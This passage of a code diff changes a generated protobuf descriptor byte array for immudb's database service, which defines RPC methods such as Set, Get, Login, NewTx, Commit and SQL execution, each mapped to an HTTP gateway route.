0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, - 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, - 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, - 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, - 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, - 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, - 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, - 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, - 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, - 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, - 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, - 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, - 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, - 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, - 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, + 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, + 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, - 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, + 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, + 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, + 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, + 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, - 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, - 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, - 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, + 0x65, 0x74, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 